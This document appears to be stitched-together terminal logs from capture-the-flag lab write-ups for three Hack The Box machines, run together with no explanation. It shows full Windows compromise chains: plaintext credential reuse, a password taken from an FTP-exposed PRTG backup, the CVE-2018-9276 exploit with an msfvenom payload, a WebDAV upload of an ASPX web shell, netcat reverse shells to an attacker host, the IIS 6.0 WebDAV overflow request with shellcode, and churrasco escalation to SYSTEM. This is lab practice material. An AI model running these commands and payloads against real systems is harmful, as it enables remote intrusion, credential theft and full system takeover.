http://localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=❯ nxc smb 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)
❯ evil-winrm -i 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
ce9b4ccf9ab*********************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.152 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 21:10 CET
Nmap scan report for 10.10.10.152
Host is up (0.087s latency).
Not shown: 63477 closed tcp ports (reset), 2045 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 25.47 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.152
[*] Open ports: 21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
[*] Ports copied to clipboard❯ nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -A -oN targeted -oX targetedXMl
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-24 21:13 CET
Nmap scan report for 10.10.10.152
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM <DIR> inetpub
| 07-16-16 08:18AM <DIR> PerfLogs
| 02-25-19 09:56PM <DIR> Program Files
| 02-02-19 11:28PM <DIR> Program Files (x86)
| 02-03-19 07:08AM <DIR> Users
|_11-10-23 09:20AM <DIR> Windows
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: PRTG/18.1.37.13946
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 39s, deviation: 0s, median: 39s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-01-24T20:15:26
|_ start_date: 2025-01-24T20:09:23
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 93.80 ms 10.10.16.1
2 42.57 ms 10.10.10.152
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.48 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49905|)
125 Data connection already open; Transfer starting.
02-02-19 11:18PM 1024 .rnd
02-25-19 09:15PM <DIR> inetpub
07-16-16 08:18AM <DIR> PerfLogs
02-25-19 09:56PM <DIR> Program Files
02-02-19 11:28PM <DIR> Program Files (x86)
02-03-19 07:08AM <DIR> Users
11-10-23 09:20AM <DIR> Windows
226 Transfer complete.ftp> cd "ProgramData\Paessler\PRTG Network Monitor"
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49936|)
125 Data connection already open; Transfer starting.
01-24-25 03:09PM <DIR> Configuration Auto-Backups
01-24-25 03:09PM <DIR> Log Database
02-02-19 11:18PM <DIR> Logs (Debug)
02-02-19 11:18PM <DIR> Logs (Sensors)
02-02-19 11:18PM <DIR> Logs (System)
01-24-25 03:09PM <DIR> Logs (Web Server)
01-24-25 03:09PM <DIR> Monitoring Database
02-25-19 09:54PM 1189697 PRTG Configuration.dat
02-25-19 09:54PM 1189697 PRTG Configuration.old
07-14-18 02:13AM 1153755 PRTG Configuration.old.bak
01-24-25 03:10PM 1640100 PRTG Graph Data Cache.dat
02-25-19 10:00PM <DIR> Report PDFs
02-02-19 11:18PM <DIR> System Information Database
02-02-19 11:40PM <DIR> Ticket Database
02-02-19 11:18PM <DIR> ToDo Database
226 Transfer complete.ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
229 Entering Extended Passive Mode (|||49944|)
125 Data connection already open; Transfer starting.
100% |*********************************************| 1126 KiB 1.11 MiB/s 00:00 ETA
226 Transfer complete.
1153755 bytes received in 00:01 (1.06 MiB/s)❯ cat PRTG\ Configuration.old.bak | grep -C 2 'prtgadmin'
</dbcredentials>
<dbpassword>
<!-- User: prtgadmin -->
PrTg@dmin2018
</dbpassword>❯ git clone https://github.com/A1vinSmith/CVE-2018-9276.git; cd CVE-2018-9276
Clonando en 'CVE-2018-9276'...
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (61/61), done.
remote: Total 61 (delta 19), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (61/61), 20.57 KiB | 2.06 MiB/s, listo.
Resolviendo deltas: 100% (19/19), listo.❯ python3 exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.16.5 --lport 443 --user prtgadmin --password PrTg@dmin2019
[+] [PRTG/18.1.37.13946] is Vulnerable!
[*] Exploiting [10.10.10.152:80] as [prtgadmin/PrTg@dmin2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] File staged at [C:\Users\Public\tester.txt] successfully with objid of [2018]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2018] staged for execution
[*] Generate msfvenom payload with [LHOST=10.10.16.5 LPORT=443 OUTPUT=/tmp/lbcrsykv.dll]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 9216 bytes
/HackTheBox/Windows/Netmon/content/CVE-2018-9276/exploit.py:294: DeprecationWarning: setName() is deprecated, set the name attribute instead
impacket.setName('Impacket')
/HackTheBox/WindowsNetmon/content/CVE-2018-9276/exploit.py:295: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
impacket.setDaemon(True)
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Hosting payload at [\\10.10.16.5\RDDKZBLF]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Command staged at [C:\Users\Public\tester.txt] successfully with objid of [2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2019] staged for execution
[*] Attempting to kill the impacket thread
[-] Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!
[-] ps aux | grep <script name> and kill -9 <pid> if it is still running :)
[-] The connection will eventually time out.
[+] Listening on [10.10.16.5:443 for the reverse shell!]
listening on [any] 443 ...
[*] Incoming connection (10.10.10.152,50211)
[*] AUTHENTICATE_MESSAGE (\,NETMON)
[*] User NETMON\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.152] 50212
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\systemC:\Users\Administrator\Desktop>type root.txt
type root.txt
d7ce13a72ca*********************
C:\Users\Administrator\Desktop>type C:\Users\Public\Desktop\user.txt
type C:\Users\Public\Desktop\user.txt
c9bb3ffd4f3*********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.15 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 22:40 CET
Initiating SYN Stealth Scan at 22:40
Scanning 10.10.10.15 [65535 ports]
Discovered open port 80/tcp on 10.10.10.15
SYN Stealth Scan Timing: About 23.55% done; ETC: 22:42 (0:01:41 remaining)
SYN Stealth Scan Timing: About 51.95% done; ETC: 22:41 (0:00:56 remaining)
Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.11% done; ETC: 22:41 (0:00:38 remaining)
Completed SYN Stealth Scan at 22:41, 101.72s elapsed (65535 total ports)
Nmap scan report for 10.10.10.15
Host is up, received user-set (0.035s latency).
Scanned at 2025-01-25 22:40:00 CET for 102s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 101.83 seconds
Raw packets sent: 131147 (5.770MB) | Rcvd: 130 (7.720KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.15
[*] Open ports: 80
[*] Ports copied to clipboard❯ nmap -sCV -p80 10.10.10.15 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 22:42 CET
Nmap scan report for 10.10.10.15
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| Server Type: Microsoft-IIS/6.0
| Server Date: Sat, 25 Jan 2025 21:42:59 GMT
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| WebDAV type: Unknown
|_ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP (90%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows Server 2008 Enterprise SP2 (90%), Microsoft Windows Server 2003 SP2 (89%), Microsoft Windows 2003 SP2 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows XP (85%), Microsoft Windows Server 2003 (85%), Microsoft Windows XP SP2 (85%), Microsoft Windows Server 2003 SP1 - SP2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 89.60 ms 10.10.16.1
2 89.69 ms 10.10.10.15
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.15
http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]❯ davtest -url http://10.10.10.15
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.15
********************************************************
NOTE Random string for this session: EUx1hD
********************************************************
Creating directory
MKCOL SUCCEED: Created http://10.10.10.15/DavTestDir_EUx1hD
********************************************************
Sending test files
PUT shtml FAIL
PUT aspx FAIL
PUT txt SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.txt
PUT php SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.php
PUT jhtml SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.jhtml
PUT pl SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.pl
PUT asp FAIL
PUT cfm SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.cfm
PUT cgi FAIL
PUT jsp SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.jsp
PUT html SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.html
********************************************************
Checking for test file execution
EXEC txt SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.txt
EXEC txt FAIL
EXEC php FAIL
EXEC jhtml FAIL
EXEC pl FAIL
EXEC cfm FAIL
EXEC jsp FAIL
EXEC html SUCCEED: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.html
EXEC html FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.10.15/DavTestDir_EUx1hD
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.txt
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.php
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.jhtml
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.pl
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.cfm
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.jsp
PUT File: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.html
Executes: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.txt
Executes: http://10.10.10.15/DavTestDir_EUx1hD/davtest_EUx1hD.html❯ curl -s -X OPTIONS http://10.10.10.15 -I
HTTP/1.1 200 OK
Date: Sat, 25 Jan 2025 21:47:35 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
MS-Author-Via: MS-FP/4.0,DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private❯ whoami > gzzcoo.txt
❯ cat gzzcoo.txt
kali
❯ curl -s -X PUT http://10.10.10.15/gzzcoo.txt -d @gzzcoo.txt❯ ls -l cmdasp.aspx
.rw-r--r-- kali kali 1.4 KB Sat Jan 25 22:46:23 2025 cmdasp.aspx
❯ curl -s -X PUT http://10.10.10.15/cmd.aspx -d @cmdasp.aspx
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be displayed</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>
<h1>The page cannot be displayed</h1>
You have attempted to execute a CGI, ISAPI, or other executable program from a directory that does not allow programs to be executed.
<hr>
<p>Please try the following:</p>
<ul>
<li>Contact the Web site administrator if you believe this directory should allow execute access.</li>
</ul>
<h2>HTTP Error 403.1 - Forbidden: Execute access is denied.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>403</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Configuring ISAPI Extensions</b>, <b>Configuring CGI Applications</b>, <b>Securing Your Site with Web Site Permissions</b>, and <b>About Custom Error Messages</b>.</li>
<li>In the IIS Software Development Kit (SDK) or at the <a href="http://go.microsoft.com/fwlink/?LinkId=8181">MSDN Online Library</a>, search for topics titled <b>Developing ISAPI Extensions</b>, <b>ISAPI and CGI</b>, and <b>Debugging ISAPI Extensions and Filters</b>.</li>
</ul>
</TD></TR></TABLE></BODY></HTML>❯ curl -s -X PUT http://10.10.10.15/cmd.txt -d @cmdasp.aspx❯ curl -s -X MOVE -H "Destination:http://10.10.10.15/cmd.aspx" http://10.10.10.15/cmd.txt❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Sat Jan 25 22:49:55 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 443❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.15] 1032
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service❯ searchsploit IIS 6.0
------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------ ---------------------------------
Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Inter | windows/remote/21057.txt
Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Rem | windows/remote/9541.pl
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion D | windows/dos/9587.txt
Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of | windows/dos/3965.pl
Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhausti | windows/dos/15167.txt
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Rem | windows/remote/41738.py
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypa | windows/remote/8704.txt
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypa | windows/remote/8754.patch
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypa | windows/remote/8765.php
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypa | windows/remote/8806.pl
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilit | windows/remote/19033.txt
------------------------------------------------------ ---------------------------------
Shellcodes: No Results❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...❯ python2 IIS6.py 10.10.10.15 80 10.10.16.5 444
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃̀翾Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.15] 1033
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network servicec:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAuditPrivilege Generate security audits Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: GRANNY
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Uniprocessor Free❯ ls -l churrasco.exe
.rw-rw-r-- kali kali 30 KB Sat Jan 25 22:57:41 2025 churrasco.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedC:\Temp>copy \\10.10.16.5\smbFolder\churrasco.exe C:\Temp\churrasco.exe
copy \\10.10.16.5\smbFolder\churrasco.exe C:\Temp\churrasco.exe
1 file(s) copied.
C:\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is 424C-F32D
Directory of C:\Temp
01/26/2025 12:05 AM <DIR> .
01/26/2025 12:05 AM <DIR> ..
01/25/2025 11:57 PM 31,232 churrasco.exe
1 File(s) 31,232 bytes
2 Dir(s) 1,319,219,200 bytes free❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Sat Jan 25 22:49:55 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...C:\Temp>churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"
churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"
C:\Temp>churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"
churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.15] 1041
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
aa4beed1c05*********************
C:\Documents and Settings\Administrator\Desktop>type "C:\Documents and Settings\Lakis\Desktop\user.txt"
type "C:\Documents and Settings\Lakis\Desktop\user.txt"
700c5dc1*************************